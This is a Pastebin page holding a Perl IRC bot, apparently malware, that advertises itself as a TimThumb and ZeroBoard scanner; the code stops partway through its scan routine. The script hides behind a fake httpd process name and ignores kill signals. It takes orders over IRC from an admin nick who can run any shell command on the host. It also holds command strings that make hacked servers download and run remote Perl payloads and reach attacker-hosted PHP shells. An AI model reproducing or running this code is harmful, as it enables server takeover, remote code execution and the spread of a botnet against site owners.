API tools faq
paste
Advertisement
MRC

foda

MRC
Jul 14th, 2013
282
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 9.70 KB | None | 0 0
raw download clone embed print report
  1.  
  2. #!/usr/bin/perl
  3. use HTTP::Request;
  4. use HTTP::Request::Common;
  5. use HTTP::Request::Common qw(POST);
  6. use LWP::Simple;
  7. use LWP 5.64;
  8. use LWP::UserAgent;
  9. use Socket;
  10. use IO::Socket;
  11. use IO::Socket::INET;
  12. use IO::Select;
  13. use MIME::Base64;
  14.  
  15. my $datetime = localtime;
  16.  
  17. my $fakeproc    = "/usr/sbin/httpd";
  18. my $ircserver   = "black.root-network.org";
  19. my $ircport     = "6667";
  20. my $nickname    = "[iDF]";
  21. my $ident       = "iDF";
  22. my $channel     = "#scan";
  23. my $admin       = "MRC";
  24. my $fullname    = "(8M3R7C5-6T2e11am12.)";
  25. my $thumblogo   = "4,1(8@9TimThumb4)";
  26. my $zerologo    = "4,1(8@9ZeroBoard4)";
  27. my $thumbcmd    = '.timthumb';
  28. my $zerocmd     = '.zero';
  29. my $thumbshell = "http://picasa.com.my-corner.us/jahat.php";
  30. my $folder1     = "/cache/d175c74c6a0c5485166403bc61484294.php";
  31. my $folder2     = "/cache/external_d175c74c6a0c5485166403bc61484294.php";
  32. my $folder3     = "/temp/d175c74c6a0c5485166403bc61484294.php";
  33. my $folder4     = "/temp/external_d175c74c6a0c5485166403bc61484294.php";
  34. my $folder5     = "/wp-content/uploads/thumb-temp/d175c74c6a0c5485166403bc61484294.php";
  35. my $botid       = "http://picasa.com.hackz.name/1/bot.php";
  36. my $botrun1     = "/cache/f56adc1cc8bc2b8e065db92bf15fca4d.php";
  37. my $botrun2     = "/cache/external_f56adc1cc8bc2b8e065db92bf15fca4d.php";
  38. my $botrun3     = "/temp/f56adc1cc8bc2b8e065db92bf15fca4d.php";
  39. my $botrun4     = "/temp/external_f56adc1cc8bc2b8e065db92bf15fca4d.php";
  40. my $botrun5     = "/wp-content/uploads/thumb-temp/f56adc1cc8bc2b8e065db92bf15fca4d.php";
  41. my $action      = "/data/shell.php?cmd=lwp-download%20http://blogger.com.ossha.co.il/image.php;lwp-download%20http://flickr.com.guxer.300il.com/l.txt;perl%
  42. 20l.txt";
  43. my $action2     = "?cmd=lwp-download%20http://blogger.com.crappyfiles.com/image.php;lwp-download%20-a%20http://guxer.300il.com/l.txt;perl%20l.txt;rm%20l.txt";
  44. my @bypasser    = ("http://www.alexoloughlin.es/google.php",
  45. "http://estanciadevalencia.com/sn/google.php",
  46. "http://www.hotelprince.com/google.php");
  47. my $bypass      = $bypasser[rand(scalar(@bypasser))];
  48.  
  49. my @uagents   = ('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12',
  50. 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4',
  51. 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6',
  52. 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1');
  53. my $uagent    = $uagents[rand(scalar(@uagents))];
  54. $SIG{'INT'}   = 'IGNORE';
  55. $SIG{'HUP'}   = 'IGNORE';
  56. $SIG{'TERM'}  = 'IGNORE';
  57. $SIG{'CHLD'}  = 'IGNORE';
  58. $SIG{'PS'}    = 'IGNORE';
  59.  
  60. $ircserver = "$ARGV[0]" if $ARGV[0];
  61. $0 = "$fakeproc"."\0" x 16;
  62. my $pid = fork;
  63. exit if $pid;
  64. die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
  65.  
  66. our %irc_servers;
  67. our %DCC;
  68. my $dcc_sel = new IO::Select->new();
  69. $sel_client = IO::Select->new();
  70. sub sendraw {
  71.     if ($#_ == '1') {
  72.     my $socket = $_[0];
  73.     print $socket "$_[1]\n";
  74.     } else {
  75.         print $IRC_cur_socket "$_[0]\n";
  76.     }
  77. }
  78. sub connector {
  79.     my $mynick = $_[0];
  80.     my $ircserver_con = $_[1];
  81.     my $ircport_con = $_[2];
  82.     my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
  83.     if (defined($IRC_socket)) {
  84.         $IRC_cur_socket = $IRC_socket;
  85.         $IRC_socket->autoflush(1);
  86.         $sel_client->add($IRC_socket);
  87.         $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
  88.         $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
  89.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  90.         $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
  91.         nick("$mynick");
  92.         my $versi   = "0,1(8i3D7F5-6T2e11am12.)";
  93.         sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
  94.         sleep (1);}}
  95. sub parse {
  96.     my $servarg = shift;
  97.     if ($servarg =~ /^PING \:(.*)/) {
  98.         sendraw("PONG :$1");
  99.     }
  100.     elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  101.         if (lc($1) eq lc($mynick)) {
  102.             $mynick = $4;
  103.             $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  104.         }
  105.     }
  106.     elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  107.         nick("$mynick".int rand(1));
  108.     }
  109.     elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  110.         $mynick = $2;
  111.         $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
  112.         $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  113.         sendraw("MODE $mynick +Bxp");
  114.         sendraw("JOIN $channel");
  115.         sleep(2);
  116.         sendraw("PRIVMSG $admin :Hi $admin im here !!!");
  117.     }
  118. }
  119. my $line_temp;
  120. while( 1 ) {
  121.     while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
  122.     select(undef, undef, undef, 0.01);
  123.     delete($irc_servers{''}) if (defined($irc_servers{''}));
  124.     my @ready = $sel_client->can_read(0);
  125.     next unless(@ready);
  126.     foreach $fh (@ready) {
  127.         $IRC_cur_socket = $fh;
  128.         $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
  129.         $nread = sysread($fh, $ircmsg, 4096);
  130.         if ($nread == 0) {
  131.             $sel_client->remove($fh);
  132.             $fh->close;
  133.             delete($irc_servers{$fh});
  134.         }
  135.         @lines = split (/\n/, $ircmsg);
  136.         $ircmsg =~ s/\r\n$//;
  137.  
  138.         if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  139.             my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
  140.             my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ByPass,YahOo,BigLobe";
  141.             if ($path eq $mynick) {
  142.                 if ($msg =~ /^PING (.*)/) {
  143.                     sendraw("NOTICE $nick :PING $1");
  144.                 }
  145.                 if ($msg =~ /^VERSION/) {
  146.                     sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
  147.                 }
  148.                 if ($msg =~ /^TIME/) {
  149.                     sendraw("NOTICE $nick :TIME ".$datetime."");
  150.                 }
  151.                 if (&isAdmin($nick) && $msg eq "!die") {
  152.                     &shell("$path","kill -9 $$");
  153.                 }
  154.                 if (&isAdmin($nick) && $msg eq "!killall") {
  155.                     &shell("$path","killall -9 perl");
  156.                 }
  157.                 if (&isAdmin($nick) && $msg eq "!reset") {
  158.                     sendraw("QUIT :Restarting...");
  159.                 }
  160.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  161.                     sendraw("JOIN #".$1);
  162.                 }
  163.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  164.                     sendraw("PART #".$1);
  165.                 }
  166.                 if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
  167.                     sendraw("NICK ".$1);
  168.                 }
  169.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  170.                     sendraw($IRC_cur_socket, "PRIVMSG $nick :0,1Fake Process/PID : $fakeproc - $$");
  171.                 }
  172.                 if (&isAdmin($nick) && $msg !~ /^!/) {
  173.                     &shell("$nick","$msg");
  174.                 }
  175.            }
  176.             else {
  177.                 if (&isAdmin($nick) && $msg eq "!die") {
  178.                     &shell("$path","kill -9 $$");
  179.                 }
  180.                 if (&isAdmin($nick) && $msg eq "!killall") {
  181.                     &shell("$path","killall -9 perl");
  182.                 }
  183.                 if (&isAdmin($nick) && $msg eq "!reset") {
  184.                     sendraw("QUIT :Restarting...");
  185.                 }
  186.                 if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
  187.                     sendraw("JOIN #".$1);
  188.                 }
  189.                 if (&isAdmin($nick) && $msg eq "!part") {
  190.                     sendraw("PART $path");
  191.                 }
  192.                 if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
  193.                     sendraw("PART #".$1);
  194.                 }
  195.                 if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
  196.                     &shell("$path","$1");
  197.                 }
  198.                 if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
  199.                     &shell("$path","$1");
  200.                 }
  201.  
  202.                 ##################################################################### HELP COMMAND
  203.  
  204.                 if ($msg=~ /^!help/) {
  205.                     my $helplogo = "4(8@9Help4)";
  206.                     &msg("$path","4$helplogo 8 ###################################################");
  207.                     &msg("$path","4$helplogo 8 #9 $thumbcmd [bug]    [dork] 9#");
  208.                     &msg("$path","4$helplogo 8 #9 $zerocmd [bug]    [dork] 9#");
  209.                     &msg("$path","4$helplogo 8 ###################################################");
  210.                 }
  211.                 if ($msg=~ /^!engine/) {
  212.                     my $enginelogo = "4(8@9Engine4)";
  213.                     &msg("$path","4$enginelogo 8 $engine ");
  214.                 }
  215.                 if ($msg=~ /^!about/) {
  216.                     my $aboutlogo = "15(4@4iDF-Team15)";
  217.                     &msg("$path","0,1$aboutlogo 14 TIMTHUMB / ZEROBOARD SCANNER");
  218.                 }
  219.                 if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
  220.                     if (&isFound($thumbshell,"GIF89a")) {
  221.                         &msg("$path","0,1(8Injector15)6 PHP Shell 9READY!!!");
  222.                     } else {
  223.                         &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!");
  224.                     }
  225.                 }
  226.                 if (&isAdmin($nick) && $msg =~ /^!pid/) {
  227.                     &notice("$nick","0,1Fake Process/PID : 8$fakeproc - $$");
  228.                 }
  229.                 ##################################################################### RFI SCAN
  230.  
  231.                 if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
  232.                     if (my $pid = fork) {
  233.                         wa
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!